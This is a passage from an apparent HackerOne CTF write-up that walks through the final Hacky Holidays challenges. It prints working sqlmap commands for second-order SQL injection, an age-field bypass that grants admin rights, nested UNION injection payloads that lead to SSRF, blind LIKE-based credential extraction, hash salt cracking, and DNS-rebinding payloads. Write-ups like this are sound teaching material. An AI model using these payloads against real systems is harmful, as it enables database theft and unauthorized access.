I got a result saying 0 other players. So, it is SQL injection, the score page shows the number of rows resulted from the query. However, it is the standard SQL injection, it is second order SQL injection. We inject at one page and get result of it at another page. Here I used the great tool SQLmap for it. Also I noticed the name I supply is bound to the cookie so need cookie inside request. So, I saved the request on entering name and request with score (We also need to answer the quiz in order to see score page but as with current cookie I am saving have it already answered so I am not including that request). We also need to tell sqlmap that which string in request indicates query is failed. So, we did the following command,
sqlmap -r first.req --second-req second.req --force-ssl --not-string="There is 0" --batch
Used options:
-r : First request file
--second-req: Second request file
--force-ssl: Do request over https
--not-string: String to match in request when query return false
--batch: Never ask for user input, use the default behaviour
I got response with

sqlmap identified the following injection point(s) with a total of 126 HTTP(s) requests:
---
Parameter: name (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: name=admin' AND 2619=2619 AND 'gAdb'='gAdb
---
back-end DBMS: MySQL &gt;= 8.0.0

So, it’s time to get databases with command,

sqlmap -r first.req --second-req second.req --force-ssl --not-string="There is 0" --dbs --batch --dbms=mysql

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
	    Type: boolean-based blind
	    Title: AND boolean-based blind - WHERE or HAVING clause
            Payload: name=admin' AND 2619=2619 AND 'gAdb'='gAdb
---
back-end DBMS: MySQL &gt;= 8.0.0
available databases [2]:
[*] information_schema
[*] quiz

Next step is to get tables inside database quiz,

sqlmap -r first.req --second-req second.req --force-ssl --not-string="There is 0" --no-cast --batch --dbms=mysql -D quiz --tables --time-sec 5

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=admin' AND 2619=2619 AND 'gAdb'='gAdb
---
back-end DBMS: MySQL &gt;= 8.0.0
Database: quiz
[2 tables]
+-------+
| admin |
| quiz  |
+-------+

--no-cast option is used as suggested by sqlmap for good results.
So, last step is to get contents of admin table,

sqlmap -r first.req --second-req second.req --force-ssl --not-string="There is 0" --no-cast --batch --dbms=mysql -D quiz -T admin --dump username,password --time-sec 5

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=admin' AND 2619=2619 AND 'gAdb'='gAdb
---
back-end DBMS: MySQL &gt;= 8.0.0
Database: quiz
Table: admin
[1 entry]
+----+-------------------+----------+
| id | password          | username |
+----+-------------------+----------+
| 1  | S3creT_p4ssw0rd-$ | admin    |
+----+-------------------+----------+

I also wrote a tamper script {F1132485} for sqlmap to perform threaded requests which is attached, thanks to [this][19] blog post.
[19]: https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/ β€œthis”
I logged in to [admin][20] and got the flag.
[20]: https://hackyholidays.h1ctf.com/evil-quiz/admin β€œadmin”

Challenge 10: Signup Manager

Description: You’ve made it this far! The grinch is recruiting for his army to ruin the holidays but they’re very picky on who they let in!
On browsing [https://hackyholidays.h1ctf.com/signup-manager/][21], I got a page with bunch of input fields. First thing I checked is source code of page by pressing ctrl+U and got a interesting comment.
[21]: https://hackyholidays.h1ctf.com/signup-manager/ β€œhttps://hackyholidays.h1ctf.com/signup-manager/”
``
So I browsed [https://hackyholidays.h1ctf.com/signup-manager/README.md][22] and got the file with this contents.
[22]: https://hackyholidays.h1ctf.com/signup-manager/README.md β€œhttps://hackyholidays.h1ctf.com/signup-manager/README.md”

# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password

It is telling that the file signupmanager.zip to be placed into the directory where it is being installed, so I visited [https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip][23] and got the file.
[23]: https://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip β€œhttps://hackyholidays.h1ctf.com/signup-manager/signupmanager.zip”
There were 5 files in it index.php, admin.php, user.php, signup.php and README.md. The whole logic is is index.php page.
The index.php do the following things.
1. For signup, it accepts 5 parameters username, password, age, firstname and lastname.
2. For username, firstname and lastname it removes all special characters using regular expression and for firstname and lastname it gets first 15 characters using substr function and it calculates md5 of password.
3. It then checks if age is numeric or not and also if length is greater than 3.
4. It passes all variables into addUser function.
5. The addUser function takes all values and adds padding to all variables (15 for username, firstname and lastname and 3 for age), generates random md5, it then appends all values into one line and adds β€˜N’ as end, it then calculates first 113 characters using substr function and writes it to users.txt file
and returns random md5 as cookie.
6. The function buildUsers reads file users.txt, converts it into object and returns the object.

From reading README.md, if β€˜Y’ is at end of line, I can become admin. So, I have to somehow change the last character to β€˜Y’.
Here is a small snippet that checks for a valid age.

if (!is_numeric($_POST["age"])) {
                $errors[] = 'Age entered is invalid';
            }
            if (strlen($_POST["age"]) &gt; 3) {
                $errors[] = 'Age entered is too long';
            }
            $age = intval($_POST["age"]);

It checks using is_numeric php function. On documentation page of this function here we see in example that it also accepts β€˜e’ as a valid number. After it checks if length is greater than 3 and then uses intval function to calculate integer value of a variable. So if we give number β€œ2e3, it will pass the is_numeric and strlen check and final value after inval function will be 2000, it adds number of zeros after e. So, we can use this to become admin. I sent a request with POST data,

action=signup&username=random&password=random&age=2E3&firstname=random&lastname=randomlastnameY

For better understanding, I ran it locally and got this result.

β”Œβ”€[shubham@parrot]─[~/hackyholidays/signupmanager]
└──╼ $cat users.txt 

random#########7ddf32e17a6ac5ce04a8ecbf782ca5091c4041d8428d6304d401d09f09117c2b2000random#########randomlastnameY
β”Œβ”€[shubham@parrot]─[~/hackyholidays/signupmanager]
└──╼ $

So, I was successfully able to change last character of line as β€˜Y’, I login using that username and password and got the flag and also link to next challenge.
{F1132510}

Challenge 11: Grinch Recon

This is where things started to become tricky.
I browsed [https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59][26] which I got from previous challenge and I was presented with the page
[26]: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59 β€œhttps://hackyholidays.h1ctf.com/r3c0n_server_4fdk59”
{F1132536}
Showing API is in development so I visited [https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api][27] and got information about api.
{F1132555}
So, I tried to find endpoints of API but for each request I always got response {"error":"This endpoint cannot be visited from this IP address"}, so we do not have access to api.(Probably a SSRF will help)
[27]: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api β€œhttps://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api”
On clicking any links on home page, we get a page with url [https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k][28] with changed values of hash. I tried injecting it with jdh34k' but got 404 but when I injected it with jdh34k' and 1=1 -- - and I got page pack. BOOM!!! SQL injection.
[28]: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k β€œhttps://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/album?hash=jdh34k”
I used sqlmap to get all information from databases but didn’t get any information that can help, so dead end for me.
Whenever I get a dead end, I go one step back so I went back to page which was showing images and checked the source of page and got some interesting thing.

<div>
                        <img src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RiNTA3YmRiMTg2ZDMzYTcxOWViMDQ1NjAzMDIwY2VjLmpwZyIsImF1dGgiOiJiYmYyOTVkNjg2YmQyYWYzNDZmY2Q4MGM1Mzk4ZGU5YSJ9">
                    </div>

                    <div>
                        <img src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzliODgxYWY4YjMyZmYwN2Y2ZGFhZGE5NWZmNzBkYzNhLmpwZyIsImF1dGgiOiJlOTM0ZjQ0MDdhOWRmOWZkMjcyY2RiOWMzOTdmNjczZiJ9">
                    </div>

                    <div>
                        <img src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzEzZDc0NTU0YzMwZTEwNjk3MTRhNWE5ZWRkYThjOTRkLmpwZyIsImF1dGgiOiI5NGZiMzk4ZDc4YjM2ZTdjMDc5ZTc1NjBjZTlkZjcyMSJ9">
                    </div>
 </div>

I base64 decoded one of the value and got test as {"image":"r3c0n_server_4fdk59\/uploads\/13d74554c30e1069714a5a9edda8c94d.jpg","auth":"94fb398d78b36e7c079e7560ce9df721"}
I tried accessing the page directly using [https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/uploads/13d74554c30e1069714a5a9edda8c94d.jpg][29] but got response as Image cannot be viewed directly.
[29]: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/uploads/13d74554c30e1069714a5a9edda8c94d.jpg β€œhttps://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/uploads/13d74554c30e1069714a5a9edda8c94d.jpg”
We can only access those images through https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/picture?data= with that base64 encoded data with image and auth parameter.
So, I tried tampering with the image parameter to point it to ../api/someendpoint but failed it auth key is validated for each request so I had to find a way to generate auth token for each request.
This is the part where I stuck for so long. Thanks to my friend @MrKn0w1t4ll for helping me here.
{F1132595}
From the great Inception movie, one dream inside another.
Here one SQL injection inside another SQL injection( Nested SQL injection)
[Here][30] is a great resource.
[30]: https://captnemo.in/blog/2012/06/09/nested-sql-injections/ β€œHere”
I already had SQL injection in hash parameter where we control hash parameter from query.
Thanks to the author for clearing the doubts here, here is flow
The first query is just β€œselect * from albums where hash = x β€œ
Something like

$hash = "select * from albums where hash=".$_GET['hash'].";";

So $hash is the object which contains rows returned by query which contain 3 columns id, hash and name.
In the data returned one of the columns id is called
Which is used for β€œselect * from photos where album_id = id β€œ like

$images = "select * from photos where album_id=".$hash['id'].";";

$images is the object containing names of images, so server takes names of images and creates a JSON object with image and auth parameters where in image parameter it adds image name to r3c0n_server_4fdk59\/uploads\/imagename and generates auth token for this and converts it to base64.
So, the goal here is to control name of image to achieve the SSRF.
Here nested SQL injection comes in play. The results returned by first query where we can inject contains 3 columns id, hash and name. Here we have inject control the id which is easy to control using union query like abc union select 1,1,β€˜hash’ – -` but it is not enough, we have to control the data returned by next query, thanks to object property in php, we can can inject into next query by using union injection inside id

abc' UNION SELECT "2' UNION SELECT 1,1,'datawecontrol' -- -",'1',1-- -

First we are injecting inside hash parameter and creating an object which is an union injection.
Using above query I got result as,

<div>
                        <img src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcLzMyZmViYjE5NTcyYjEyNDM1YTZhMzkwYzA4ZThkM2RhLmpwZyIsImF1dGgiOiI3NmJhMDYxZDM1NmM2MjY0YTYwMDUyMTZlMTc3NmJhNiJ9">
                    </div>

                
                    <div>
                        <img src="/r3c0n_server_4fdk59/picture?data=eyJpbWFnZSI6InIzYzBuX3NlcnZlcl80ZmRrNTlcL3VwbG9hZHNcL2RhdGF3ZWNvbnRyb2wiLCJhdXRoIjoiYWNmNzRkMTMzMmIxYTk3MjRhNzUyOTFmMjU2ZTY1ZDkifQ==">
                    </div>

Base64 decoded 2nd value and got the thing we control

{"image":"r3c0n_server_4fdk59\/uploads\/datawecontrol","auth":"acf74d1332b1a9724a75291f256e65d9"}

And server created auth token for us to perform SSRF.
When I entered something which does not exist on website like above example, I got response as
{F1132665}
Indicating it is performing request and 404 for not found, so by this way we can enumerate valid api endpoints and also when I sent something which is valid like ../api/ page I got response as
{F1132666}
So a blind SSRF, All we have to do based on response codes as described on [api][31] page.
[31]: https://hackyholidays.h1ctf.com/r3c0n_server_4fdk59/api β€œapi”
So created a python script which is attached to do all these, thanks again to MrKn0w1t4ll here
{F1132643}
Got 2 valid endpoints( Filtering based on response code if 404 then invalid else valid)
Query used abc' UNION SELECT "2' UNION SELECT 1,1,'../api/endpoint' -- -",'1',1-- -

─[shubham@parrot]─[~/hackyholidays/reconserver]
└──╼ $python3 endpoint.py 
[+] Valid endpoint found: ping
[+] Valid endpoint found: user

Endpoint user seems interesting tried to find valid parameters and got 2 valid parameters.(Filtering based on response code if 400 then invalid parameter else valid parameter)
Query used abc' UNION SELECT "2' UNION SELECT 1,1,'../api/user?parameter=abc' -- -",'1',1-- -

─[shubham@parrot]─[~/hackyholidays/reconserver]
└──╼ $python3 endpoint.py 
[+] Valid parameter found: password
[+] Valid parameter found: username

Damn, another SQL [like][32] query injection in username and password parameters.
[32]: https://github.blog/2015-11-03-like-injection/ β€œlike”
We can extract bit by bit by injecting character% and filtering results based on response codes if 204 then no data found and does not start with the specified character and if response as invalid content type detected then some data is found and it starts with specified character.
Using query abc' UNION SELECT "2' UNION SELECT 1,1,'../api/user?username=character%' -- -",'1',1-- -
So I started checking each character from python’s string.printable string one by one and got 1st chacater at g and kept repeating like g%, gr%, gri%, …
Got valid username as grinchadmin and did same for passwor,
Using query abc' UNION SELECT "2' UNION SELECT 1,1,'../api/user?password=character%' -- -",'1',1-- -
Got password as s4ant4sucks, logged in on [attack-box][32] and got the flag.
[32]: https://hackyholidays.h1ctf.com/attack-box/login β€œattack-box”

Challenge 12: Grinch Network Attack Server

Using credentials from previous challenge, logged into [attack-box][32]
{F1132722}
When clicked attack I got the follpwing page,
{F1132727}
On viewing source code of main page, got this.

<tr>
                        <th>Target</th>
                        <th>Action</th>
                    </tr>
                                        <tr>
                        <td>203.0.113.33</td>
                        <td><a href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==" target="_blank">Attack</a></td>
                    </tr>
                                        <tr>
                        <td>203.0.113.53</td>
                        <td><a href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuNTMiLCJoYXNoIjoiMjgxNGY5YzczMTFhODJmMWI4MjI1ODUwMzlmNjI2MDcifQ==" target="_blank">Attack</a></td>
                    </tr>
                                        <tr>
                        <td>203.0.113.213</td>
                        <td><a href="/attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMjEzIiwiaGFzaCI6IjVhYTliNWE0OTdlMzkxOGMwZTE5MDBiMmEyMjI4YzM4In0=" target="_blank">Attack</a></td>
                    </tr>

On decoding base64 one of the payload got {"target":"203.0.113.213","hash":"5aa9b5a497e3918c0e1900b2a2228c38"}
So same as previous challenge? but do not have any obvious thing that we control, so I started cracking the salt of hash( Using host computer for cracking, we should never use VM for cracking)

PS C:\Users\Shubham Zodape\Downloads\hashcat-6.1.1&gt; [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMjEzIiwiaGFzaCI6IjVhYTliNWE0OTdlMzkxOGMwZTE5MDBiMmEyMjI4YzM4In0="))
{"target":"203.0.113.213","hash":"5aa9b5a497e3918c0e1900b2a2228c38"}
PS C:\Users\Shubham Zodape\Downloads\hashcat-6.1.1&gt; echo "5aa9b5a497e3918c0e1900b2a2228c38:203.0.113.213" &gt; ip.hash
PS C:\Users\Shubham Zodape\Downloads\hashcat-6.1.1&gt; gc ip.hash
5aa9b5a497e3918c0e1900b2a2228c38:203.0.113.213
PS C:\Users\Shubham Zodape\Downloads\hashcat-6.1.1&gt;.\hashcat.exe -m 10 .\ip.hash .\rockyou.txt
5aa9b5a497e3918c0e1900b2a2228c38:203.0.113.213:mrgrinch463

Got the salt as mrgrinch463, the hash is calculated by md5(salt+ip).
So we can create payload for any ip, here is script I created {F1132732} to generate the payload
I created payload for ip 127.0.0.1 ( I have to take down the grinch) and sent it in payload parameter.

β”Œβ”€[βœ—]─[shubham@parrot]─[~/hackyholidays/attackbox]
└──╼ $python3 genpayload.py 
Enter IP Address: 127.0.0.1
Raw Payload: {"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"}
Encoded Payload: eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQ==

Got resposne,
{F1132737}
There is some protection for hitiing localhost so we have to bypass that protection.
Any address we give it first resolves it into an IP address then performs attack.
There is a cool attack called [DNS-rebinding][33]
[33]: https://en.wikipedia.org/wiki/DNS_rebinding β€œDNS-rebinding”
Here I used [https://github.com/taviso/rbndr][34] to perform DNS-rebinding, using 7f000001.c0a80001.rbndr.us to create payload
[34]: https://github.com/taviso/rbndr β€œhttps://github.com/taviso/rbndr”

Enter IP Address: 7f000001.c0a80001.rbndr.us
Raw Payload: {"target":"7f000001.c0a80001.rbndr.us","hash":"de9d82d4ae9a61660701e7e1844ea643"}
Encoded Payload: eyJ0YXJnZXQiOiI3ZjAwMDAwMS5jMGE4MDAwMS5yYm5kci51cyIsImhhc2giOiJkZTlkODJkNGFlOWE2MTY2MDcwMWU3ZTE4NDRlYTY0MyJ9

After trying out 3-4 times, finally it worked and took down Grinch and saved the holidays.
{F1132754}

Thank you hackerone for this great event, the challenges were really great. I had a lot of fun solving them and I learned many new things.

Impact

Anyone can take down Grinch.